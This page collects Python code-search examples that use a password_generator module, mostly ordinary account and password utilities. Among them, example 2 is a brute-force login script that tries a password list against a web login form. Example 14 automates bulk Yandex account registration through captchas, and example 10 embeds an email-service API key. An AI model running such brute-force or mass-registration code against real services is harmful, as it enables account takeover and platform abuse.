Esempio n. 1
0
def run_command(args):
    """
    Run the command given by the user

    Keyword arguments:
        args -- Arguments from the command line
    """
    if not args.phrase:
        flags = {}
        if args.nolowercase:
            flags['lowercase'] = password_generator.Requirement.exclude
        if args.nouppercase:
            flags['uppercase'] = password_generator.Requirement.exclude
        if args.nodigits:
            flags['digits'] = password_generator.Requirement.exclude
        if args.nosymbols:
            flags['punctuation'] = password_generator.Requirement.exclude
        if args.nowhitespace:
            flags['whitespace'] = password_generator.Requirement.exclude
        if args.noambiguous:
            flags['exclude_ambiguous'] = True
        password, entropy = password_generator.generate(length=args.minlength,
                                                        flags=flags)
        print("Generated password: \"{}\" (expected entropy: {})".format(
            password, entropy))
    else:
        passphrase, entropy = password_generator.generate(
            phrase=True,
            wordlistfile=args.wordlist,
            minwordlen=args.minwordlen,
            wordcount=args.wordcount,
            delimiter=args.delimiter)
        print("Generated passphrase: \"{}\" (expected entropy: {})".format(
            passphrase, entropy))
Esempio n. 2
0
def brute():
    if not os.path.exists('password_list.txt'):
        pg.generate()
    with open('password_list.txt', 'r') as pl:
        regenerate = input('Generate new password list? [y/n] ').lower()
        if regenerate == 'y':
            pg.generate()
        elif regenerate == 'n':
            pass
        login = input('Enter login: '******'Start brute? [y/n] ').lower()
        if ask == 'y':
            start_time = time.time()
            for line in pl.readlines():
                password = line.strip()
                with requests.Session() as s:
                    s.post(url=url,
                           data={
                               'login': login,
                               'password': password
                           })
                    r = s.get('http://study/content.php?page=about')
                    if r.url == "http://study/content.php?page=about":
                        print(f'=======+ Good password: {password}')

                        time_to_crack = time.time() - start_time
                        plot1.x.append(pg.password_length())
                        plot1.y.append(time_to_crack)

                        print(f'Time: {time_to_crack}')
                        if "Выйти" in r.text:
                            print('Secret = Выйти')
                        break
                    else:
                        print(f"Bad password: {password}")
Esempio n. 3
0
    def create_user(self, data):
        if data["mail"]:
            existing_user = api.user.get(userid=data["mail"].lower())
            if existing_user:
                self.update_user(existing_user, data)
                return existing_user
        properties = dict(
            last_name=data["last_name"]
            or translate(_(u"Anonymous"), context=self.request),
            first_name=data["first_name"],
            gender=data["gender"],
            birthdate=data["birthdate"],
            zip_code=data["zip_code"],
            iam=data["iam"],
            address=data["address"],
        )
        if not data["mail"]:
            normalizer = getUtility(IIDNormalizer)
            mail = "{0}_{1}_{2}@liege2025.be".format(
                normalizer.normalize(data["title"]),
                data["last_name"],
                hashlib.md5(str(time.time())).hexdigest()[:4],
            )
        else:
            mail = data["mail"]

        return api.user.create(
            email=mail.lower(),
            password="******".format(password_generator.generate()),
            properties=properties,
        )
Esempio n. 4
0
    def create_user(self, data):
        if data["mail"]:
            existing_user = api.user.get(userid=data["mail"].lower())
            if existing_user:
                self.update_user(existing_user, data)
                return existing_user
        properties = dict(
            last_name=data["last_name"]
            or translate(_(u"Anonymous"), context=self.request),
            first_name=data["first_name"],
            gender=data["gender"],
            birthdate=data["birthdate"],
            zip_code=data["zip_code"],
            iam=data["iam"],
            address=data["address"],
        )
        if not data["mail"]:
            normalizer = getUtility(IIDNormalizer)
            mail = "{0}_{1}@liege2025.be".format(
                normalizer.normalize(data["last_name"])[:15],
                hashlib.md5(str(time.time())).hexdigest()[:10],
            )
        else:
            mail = data["mail"]

        return api.user.create(
            email=mail.lower(),
            password="******".format(password_generator.generate()),
            properties=properties,
        )
Esempio n. 5
0
def create_new_whm_account(domain_name):

    # generate password
    new_pass = password_generator.generate(length=15)

    # open connection
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.connect(('your_hostname', 'port_number_integer_remove_brackets'))

    session = Session()
    session.startup(sock)
    session.userauth_password('root', 'your_password')

    chanel = session.open_session()

    # form a 8-letter username
    username_whm_account = ''
    for char_letter in domain_name:
        if char_letter.isalpha():
            username_whm_account += char_letter

    username_whm_account = username_whm_account[:8]

    # check if username and domain name already exist on the server
    chanel.execute(
        f'cd /var/cpanel/users; grep -r {domain_name}; grep -r {username_whm_account}'
    )

    size, data = chanel.read()
    while (size > 0):
        # convert byte output to string
        datada = str(data.decode('ascii'))
        print(datada)
        size, data = chanel.read()

        if (f'DNS={domain_name}' in datada):
            print(
                f'Domain name {domain_name} already exists! Account creation failed! Aborting...'
            )
            return 0

        else:
            while (f'USER={username_whm_account}' in datada):
                print(f'Account name already exists! Creating new username!')
                username_whm_account = generate_new_account_name(
                    username_whm_account)

            print(username_whm_account)

            chanel.close()
            chanel = session.open_session()
            chanel.execute(
                f'whmapi1 createacct username={username_whm_account} domain={domain_name} password={new_pass}'
            )

            print(f'Account created! Here are the details:'
                  f'username = {username_whm_account} '
                  f'password = {new_pass} '
                  f'domain name = {domain_name} ')
def generate_password():
    pwd = password_generator.generate(PWD_GEN_LETTER, PWD_GEN_SYMBOL,
                                      PWD_GEN_NUMBER)
    input_password.delete(0, tkinter.END)
    input_password.insert(0, pwd)

    window.clipboard_clear()
    window.clipboard_append(pwd)
    window.update()
Esempio n. 7
0
def rupage():
    form = PasswordGenerationFormRu()
    if form.validate_on_submit():
        form.valid = True
        Checkbox_values = [{'checkbox':'Upper_reg','value':request.form.get('Upper_register_field')},
                        {'checkbox':'Digits','value':request.form.get('Digits_field')},
                        {'checkbox':'Punctuation','value':request.form.get('Punctuation_field')}]
        len = int(request.form['length'])
        how_many = int(request.form['how_many_passwords'])
        form.password = generate(len,how_many=how_many,flags=Checkbox_values)
    else:
        form.valid = False
        print('Something went wrong')
    return render_template("homeru.html", form = form)
Esempio n. 8
0
 def process_add(self):
     self.process_vars["action_msg_1"] = "Adding an account with the attributes:"
     self.process_vars["action_msg_2"] = "Adding account... "
     self.process_vars["action_attrs"] = ["domain", "name", "password", "fullname", "active", "public"]
     self.process_vars["action_attrs_translations"] = {"fullname": "Full name"}
     self.process_vars["action_proc"] = "account_add"
     if self.args.name:
         email_addr = self.args.name + "@" + (self.args.domain if self.args.domain is not None else "DEFAULT.DOMAIN")
         if not validators.email(email_addr):
             print("Invalid email: \"{}\"".format(email_addr))
             sys.exit(1)
     if self.args.name and self.args.password is None:
         password_gen_min = self.cfg.getint("account", "password_gen_min", fallback=8)
         password_gen_max = self.cfg.getint("account", "password_gen_max", fallback=8)
         password_gen_min, password_gen_max = libemailmgr.check_password_length(password_gen_min, password_gen_max)
         self.args.password = password_generator.generate(length=random.randint(password_gen_min, password_gen_max))
     self.process_vars["action_params"] = [self.args.domain, self.args.name, self.args.password, self.args.fullname,
                                           self.args.active, self.args.public]
     libemailmgr.BasePlugin.process_action(self)
def create_new_password(user_id, user_password):
    app_name = input('What is the name of the app:')
    while True:
        if app_name == '':
            app_name = input('You need to enter an app name:')
        else:
            if db_calls.check_if_appname_exists(app_name) == 1:
                app_name = input(
                    'That app name already exists please enter a new app name:'
                )
            elif db_calls.check_if_appname_exists(app_name) == 0:
                break
            else:
                print('Error. Exiting Application')
                exit()
    app_url = input('What is the app URL, one is not required:')
    plain_text_password = password_generator.generate()
    encrypted_password = hashing.encrypt_password(user_password,
                                                  plain_text_password, user_id)
    return (db_calls.create_new_password(user_id, encrypted_password,
                                         plain_text_password, app_name,
                                         app_url))
Esempio n. 10
0
    def forgot_password(self, request):
        data = json.loads(request.data)

        result = self.collection.find_one({"username": data['username']})
        if result:

            import password_generator
            import apostle
            import arrow

            stringfile = password_generator.generate(length=16)
            # change password with new password

            update_res = self.collection.update(
                {'_id': data['username']},
                {
                    '$set': {
                        "password": stringfile
                    }
                }
            )

            if update_res:

                date_post = str(arrow.now('Asia/Kolkata').format('DD MMM YYYY hh:mm:ss A'))
                # Set up Apostle
                apostle.domain_key = "e1ca755b9116d4178f03abc788fd7f3d95e9934c"

                apostle.deliver("password-generated",
                                {"email": result['email'], 'name': result['name'], 'Dts': date_post,
                                 'password': stringfile})

                return {'status': 'success', 'message': 'successfully password changed.'}
            else:
                return {'status': 'failed', 'message': 'Error while updating password.'}
        else:
            return {'status': 'failed', 'message': 'invalid credentials'}
Esempio n. 11
0
def update_password(user_id, user_password):
    app = input(
        '1.App Name \n2.App URL \nHow do you want to update the password:'******'1', 'appname'):
            app_name = input('What is the name of the app:')
            while True:
                if app_name == '':
                    app_name = input(
                        "You didn't enter a app name please try again:")
                else:
                    break
            response = get_password_app_name(app_name, user_id)
            if response == 0:
                try_again = input(
                    "An app with that name doesn't exist. \n1.Try Again \n2.Create a password \nWhat do you want to do:"
                )
                try_again = remove_spaces(try_again)
                if try_again.casefold() in ('1', 'tryagain'):
                    a = 1
                elif try_again.casefold() in ('2', 'createapassword'):
                    return (0)
                else:
                    try_again = input(
                        "I didn't understand that please select one of the options:"
                    )
            else:
                plain_text_password = generate()
                encrypted_password = encrypt_password(user_password,
                                                      plain_text_password,
                                                      user_id)
                response = update_password_app_name(user_id,
                                                    encrypted_password,
                                                    app_name)
                if response == 0:
                    return ('Could not update password')
                elif response == 1:
                    return ('Success', app_name, plain_text_password)
                else:
                    return ('Error')

        elif app.casefold() in ('2', 'appurl'):
            app_url = input('What is the URl of the app:')
            while True:
                if app_url == '':
                    app_url = input(
                        "You didn't enter a app url please try again:")
                    break
                else:
                    break
            response = get_password_app_url(app_url, user_id)
            if response == 0:
                try_again = input(
                    "An app with that url doesn't exist. \n1.Try Again \n2.Create a password \nWhat do you want to do:"
                )
                try_again = remove_spaces(try_again)
                if try_again.casefold() in ('1', 'tryagain'):
                    a = 1
                elif try_again.casefold() in ('2', 'createapassword'):
                    return (0)
                else:
                    try_again = input(
                        "I didn't understand that please select one of the options:"
                    )
            else:
                plain_text_password = generate()
                encrypted_password = encrypt_password(user_password,
                                                      plain_text_password,
                                                      user_id)
                response = update_password_app_url(user_id, encrypted_password,
                                                   app_url)
                if response == 0:
                    return ('Could not update password')
                elif response == 1:
                    return ('Success', app_url, plain_text_password)
                else:
                    return ('Error')
        else:
            app = input(
                "Sorry I didn't reconginse that please select one of the optoins:"
            )
Esempio n. 12
0
def generate_password():
    password = generate()
    password_input.insert(0, password)
Esempio n. 13
0
def main():
    import argparse

    layout_helpstr = (
        "\nlayouts:\n" +
        "\n".join("    {:<7s} : {:<15s} ({:3.0f} mm x {:3.0f} mm)".format(
            k, v.description, v.width / mm, v.height / mm)
                  for k, v in sorted(layouts.items())))

    parser = argparse.ArgumentParser(
        description='Generate password candidates',
        epilog=password_generator.format_helpstr + layout_helpstr,
        add_help=False,
        formatter_class=argparse.RawDescriptionHelpFormatter)
    parser.add_argument('-H',
                        '--hint',
                        action='store_true',
                        help='show pronunciation hints')
    parser.add_argument('-Q',
                        '--qrcode',
                        action='store_true',
                        help='show QR code')
    parser.add_argument('--wifi-ssid',
                        help='generate QR code for WiFi WPA configuration')

    outgroup = parser.add_mutually_exclusive_group(required=True)
    outgroup.add_argument('-o', '--output', help='output file name')
    outgroup.add_argument(
        '-O',
        '--output-base',
        help='output related data to specified basename or directory')

    parser.add_argument('--gpg-encrypt-to',
                        help='encrypt plaintext output by gpg',
                        metavar='EMAIL')
    parser.add_argument(
        '--encrypt',
        action='store_true',
        help=argparse.
        SUPPRESS  #'encrypt PDF output by generated password itself'
    )  # ReportLab bug: encryption with CID font generates buggy PDF.

    parser.add_argument('-L',
                        '--layout',
                        help='choose output layout',
                        choices=layouts.keys(),
                        metavar='LAYOUT',
                        default='1')
    parser.add_argument('--title', help='put title line')
    parser.add_argument('--no-partial-passwords',
                        action='store_false',
                        dest='pwdelems',
                        help=argparse.SUPPRESS)
    parser.add_argument('--json',
                        action='store_true',
                        help='reuse previous passphrase data in JSON format')
    parser.add_argument('format',
                        help='password format (or JSON filename with --json)')
    parser.add_argument('count',
                        help='number of generated passwords',
                        nargs='?',
                        type=int,
                        default=None)
    parser.add_argument('--debug', action='store_true', help=argparse.SUPPRESS)
    parser.add_argument('--version',
                        action='version',
                        version='%(prog)s ' + VERSION)
    parser.add_argument('--help', action='help', help='show this help message')

    opts = password_generator.parse_commandline(parser)
    global DEBUGBOX
    if opts.debug:
        DEBUGBOX = True

    if opts.json:
        if opts.format == '-':
            json_dat = json.load(sys.stdin)
        else:
            with open(opts.format, 'r', encoding='utf-8') as rf:
                json_dat = json.load(rf)

        # format check
        if isinstance(json_dat, list) and 'password' in json_dat[0]:
            if opts.count != None:
                parser.error("given JSON contains single passphrase")
        elif 'elements' in json_dat:
            json_dat = json_dat['elements']
            if not isinstance(json_dat, list):
                parser.error("bad JSON input")
            if opts.count == None:
                parser.error(
                    "parameter count must be given to choose a single passphrase"
                )
            if not 1 <= opts.count <= len(json_dat):
                parser.error("bad count given (must be in 1 -- {})".format(
                    len(json_dat)))
            json_dat = json_dat[opts.count - 1]
        else:
            parser.error("bad JSON input")
    else:
        while True:
            try:
                l, diag = password_generator.generate(
                    opts.format, opts.count if opts.count != None else 1)
            except password_generator.BadFormatError as e:
                parser.error(e.args[0])

            if opts.count == None:
                l = 1
                break

            for i in range(len(l)):
                print("{:2d}:  {}\n    ({})\n".format(i + 1, *l[i]),
                      file=sys.stderr)

            print("Which one? (1-{}, RET for another set): ".format(len(l)),
                  end="",
                  file=sys.stderr)
            sys.stderr.flush()

            l = sys.stdin.readline().strip()

            if l != "":
                break
        try:
            json_dat = diag['elements'][int(l) - 1]
        except ValueError:
            print("Unrecognized input.  aborting.", file=sys.stderr)
            exit(2)

    try:
        verify_json_data(json_dat)
    except BadDataError:
        print("Bad data.  aborting.", file=sys.stderr)
        exit(2)

    password = "".join(e['password'] for e in json_dat)
    hintstr = "".join(e['hint'] for e in json_dat)

    if opts.hint:
        print("\nGenerated password: {}\n                   ({})".format(
            password, hintstr))
    else:
        print("\nGenerated password: {}".format(password))

    os.umask(os.umask(0o077) | 0o077)

    if opts.output_base:
        base, sep, out = opts.output_base.rpartition('/')
        if sep:
            os.makedirs(base, mode=0o700, exist_ok=True)
        output_base = opts.output_base if out != '' else opts.output_base + "password"
        output = output_base + ".pdf"
    else:
        output_base = None
        output = opts.output

    generate_pdf(output,
                 json_dat,
                 qrcode=opts.qrcode,
                 wifi_ssid=opts.wifi_ssid,
                 encrypt=opts.encrypt,
                 layout=opts.layout,
                 hint=opts.hint,
                 pwdelems=opts.pwdelems,
                 title=opts.title)

    if output_base:
        generate_textfile(output_base + ".txt",
                          password,
                          encrypt_to=opts.gpg_encrypt_to)
        generate_textfile(output_base + ".json",
                          json.dumps(json_dat, sort_keys=True, indent=4),
                          encrypt_to=opts.gpg_encrypt_to)
Esempio n. 14
0
def main():
        
    #how many accounts we need  
    ntimes = 1
        
    for i in range(1,ntimes+1):     
     
        print "starting browser"
        firstname = names.get_first_name()
        #print "firstname", firstname
        lastname = names.get_last_name()
        #print "lastname", lastname
                
        browser = Browser() #Browser(user_agent="Mozilla/5.0 (iPhone; U; CPU like Mac OS X; en)")
        
        
        browser.visit('https://passport.yandex.com/registration/mail')
        
        browser.find_by_id('firstname').fill(firstname)
        browser.find_by_id('lastname').fill(lastname)
        
        testlogin = False
        count = 0
        while (testlogin == False):
            count = count + 1
            login = firstname+lastname+str(randint(10,1000))
            print "login:"******"div.control__error__login_notavailable", wait_time=2)
            if browser.is_text_present("username available"):
                testlogin = True
            else:
                print "login is not available, generate new"
            if (count>3):
                #print "logins in this script is unavailable now, please make new login generator"
                browser.quit()
                sys.exit("logins in this script is unavailable now, please make new login generator")
                
        password = password_generator.generate()
        print "password:"******"hint_question_id").click()
        
        #wait 
        browser.is_element_not_present_by_css("li[role=\"presentation\"]", wait_time=3)
        
        #check first question
        browser.find_by_css("li[role=\"presentation\"]")[1].click()
        
        browser.find_by_id("hint_answer").fill(firstname)
        
        gateimgcode = captcha(browser)
        browser.find_by_id('answer').fill(gateimgcode)
        
        browser.find_by_css("button[type=\"submit\"]").click()
        
        testcaptcha = False
        count = 0
        while (testcaptcha == False):
            count = count + 1
            browser.is_element_not_present_by_css("div.control__error__captcha_incorrect", wait_time=2)          
            if browser.is_text_present("characters were entered incorrectly"):
                print "captcha code is bad, try again"

                browser.find_by_id('password').fill(password)
                browser.find_by_id('password_confirm').fill(password)
                gateimgcode = captcha(browser)
                browser.find_by_id('answer').fill(gateimgcode)
                browser.find_by_css("button[type=\"submit\"]").click()
            else:
                testcaptcha = True
            if (count>3):
                #print "something wrong with captcha"
                browser.quit()
                sys.exit("something wrong with captcha")
                
        browser.is_element_not_present_by_tag("html", wait_time=2)
        
        if browser.is_text_present("Personal information"):        
            today = datetime.date.today()
            filename = 'yandex'+str(today)+'.txt'
            file = open(filename,'a')
            file.write(login+'@yandex.com'+':'+login+':'+password+'\n')
            file.close()
            print str(i)+" accounts saved to "+filename
            browser.quit()
        else:
            #print "something wrong, please start script again"
            browser.quit()
            sys.exit("something wrong, please start script again")